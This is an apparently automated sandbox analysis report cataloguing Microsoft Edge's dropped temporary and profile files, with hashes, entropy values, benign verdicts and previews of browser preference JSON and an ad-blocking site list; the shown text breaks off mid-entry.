Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732487067"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\232603fd-91f5-4f83-be74-29ffd36a6762.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46014
Entropy (8bit):	6.088514967102217
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5d9aTPutUhDO6vP6OdmdirpOIQmxgRCAoVGoup1Xl3jVzXr4Qu:QMk1rT8H19as6wIQ9RoVhu3VlXr4x
MD5:	7B5C4887945D8DD7DFEDAC8274C7672F
SHA1:	F7CBBA2424D3BF241A4429C6AE7B5F9DF0145D48
SHA-256:	F7AE94299DD506FD0AD4983A534939F09044CEACC31C2FD41E83CBA707CB90E3
SHA-512:	8C1FF783262D5DD8E8AB70ADAF15EA1A20D8C1CFFEB459429DFA5F0B352BF228DC7DF7889CF506EF9065738CCD53CE01E274998600368CB67D15903974911D0E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732487067"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2e55508a-2f76-44c1-a850-710c78703976.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46138
Entropy (8bit):	6.088234142268181
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5S9abPutUhDO6vP6OdmdirpOIQmxgRCAoVGoup1Xl3jVzXr4Qu:QMk1rT8H69a06kIQ9RoVhu3VlXr4x
MD5:	65BDFB31487178131BF0F2BDDAB14F26
SHA1:	F1A60CDC1091BABA7B1F54DB11496675F9C8EDEE
SHA-256:	CBA4F4D0C7C0E4873075B2ED9BDE3F4329C4A97A4B569B4D2EEEE8215C8BB046
SHA-512:	3303731484BE344805E7935844E7061B1B7637C0B54A375FA9C079CED114046E5070E8AFE7F8515E688FD454FE617432A0E7488BE5E9C464B267F49F44F9B1C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732487067"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7432aff9-48db-4cdd-aebc-2800dc131be2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9485d576-a1b5-43b8-94bb-c2e5ff1f5b8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46061
Entropy (8bit):	6.0882933351715005
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5d9abPutUhDO6vP6OdmdirpOIQmxgRCAoVGoup1Xl3jVzXr4Qu:QMk1rT8H19a06wIQ9RoVhu3VlXr4x
MD5:	AB5870ACDEF2402E66D46FF675927A24
SHA1:	3ECF2A5FF756696E70682DF2B95F88779441B69E
SHA-256:	D8CCED1D19548FA28EFC71FE1761BBCB284675071B906B652BAE99A28E9E6F40
SHA-512:	2DD0EC76F856E53BE627D90E4C0CDD7A577D06EF6A98ECA0C18C86336CF380498DB992AE66E843772C0B1D7A2AB838FEBDF630329AACFBAE48468F28744EC5C6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732487067"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\6e15960b-eb98-48e0-a120-a74cda9726d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6743A795-9C8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.5029457849384711
Encrypted:	false
SSDEEP:	6144:3ID1Bjb5gkcgofthaKFG9lqx+VEa8aHFX:tkcJ1hnK
MD5:	473242E82027D7FB12142CE6BD8855B5
SHA1:	720A0C472B3493C8134DEBDE4AD0BAE409CDB9AD
SHA-256:	6193800D089D721FCAF712CDF4DA1887000316CC016138E0F4CC5F66500D0BC8
SHA-512:	BD0721E956402F21F33EA4381613A199947A78F1EDFAE0270E85421BDE004CB6BFA72CEF8271623FCF96E1D212D74D0F9756CA4F7D5C705EA41B95553B9F3252
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rojtkj20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0f9c03aa-8359-454a-b0ae-25dfca52a5e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17362), with no line terminators
Category:	dropped
Size (bytes):	17364
Entropy (8bit):	5.489422147584392
Encrypted:	false
SSDEEP:	384:stIPGQSu4asL98fhkTOTwOojbGYQwr6W4aTYOt:sOOXuS98fubGnscaTYOt
MD5:	0E07DE9906FABDE222827DE00CE6070E
SHA1:	25AD5C3B4D61A5202D8D6EC9EF760471E027A5F2
SHA-256:	1693FF88CE871AD9EB5C5446255EA843DC7A03602B7C9894DC143049BF74340B
SHA-512:	FA93B9C700EB9DB020A60665A2AF7849E95A7D91C0361D113B471643DE767E17B8D4AEEE0576C90A453FCB4C2A3FC575FE59EC6AF008C6F2775CD515CE96070A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4824714b-dcbe-4554-8a4d-21d9ccd65b6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568032032957698
Encrypted:	false
SSDEEP:	768:XjCLfhWPeYfo/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVoN+EHrwfpBtuP1:XjCLfhWPeYfo/u1ja1AEUntO
MD5:	32A54DC720715C2F5D69CCF321EDEC50
SHA1:	31A82B220B1FC979E8DCA405DAEA4D4D441E4BAE
SHA-256:	E009CBA9CAA0AA54013018391A17AD0FCAF3C1760A269C3F0F324414D7041871
SHA-512:	14C9CB52B6A0FE9387D714F8687414968402B2302B62700B3115D6D974103E306B3B603C33B453266FD44E8D18FD63301301AE7C731840643BE36B9848204457
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376960661982340","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376960661982340","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5b4feda4-05a2-4fba-b946-e7d77c1e4e88.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17527), with no line terminators
Category:	dropped
Size (bytes):	17529
Entropy (8bit):	5.486228290930237
Encrypted:	false
SSDEEP:	384:stIPGQSu4asL98fhkTOTwOojbGYQwr6WcalaTYOt:sOOXuS98fubGnsbaTYOt
MD5:	AE74D91832D46C944CA73D33EF9CAD9A
SHA1:	3D9609D4E7198703381F9BEB898694EF33C51D27
SHA-256:	E085F494E57A8BF5A104225C3E061EC14982FD7FFF8529539B90280DE4314C08
SHA-512:	5100D2E7734157BD425627FB99476C6FB0FF64F61919180331515EC9BE3EF717524B6DF5F7DA84FDC59BCFD91FB7CA2585D3D42F114856921B1A4475B561FBEC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7b2cd3a7-c1d9-49df-bc52-363e4b89439e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17527), with no line terminators
Category:	dropped
Size (bytes):	17529
Entropy (8bit):	5.486256170814568
Encrypted:	false
SSDEEP:	384:stIPGQSu4asL98fhkTOTwOojbGYQwr6WfalaTYOt:sOOXuS98fubGnswaTYOt
MD5:	E33A8CA94672166709245F1A3856B9D6
SHA1:	267913955A48039B0A6F2F39F230DE9D7F2D1ACA
SHA-256:	87354AA34C34914E07F5F804EC53A7DFDC3EB8988E273B1F3B00850E6309CBB9
SHA-512:	D4ACB6B8976CCAEC86C9580795FF419F77E501B2DC6C7E4A8631A76FACC0B8241D05A08B16B85AFA5FB6979252A1E088495237E97427B3E77BE526DFED958FA0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8933e082-30a9-42ee-963e-f60920591d0d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561721090854845
Encrypted:	false
SSDEEP:	768:X68LkQ7pLGLP7hWPeYfR/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtpuN+vHrwJyl59:X68LkccP7hWPeYfR/u1jaApuAvUJylYk
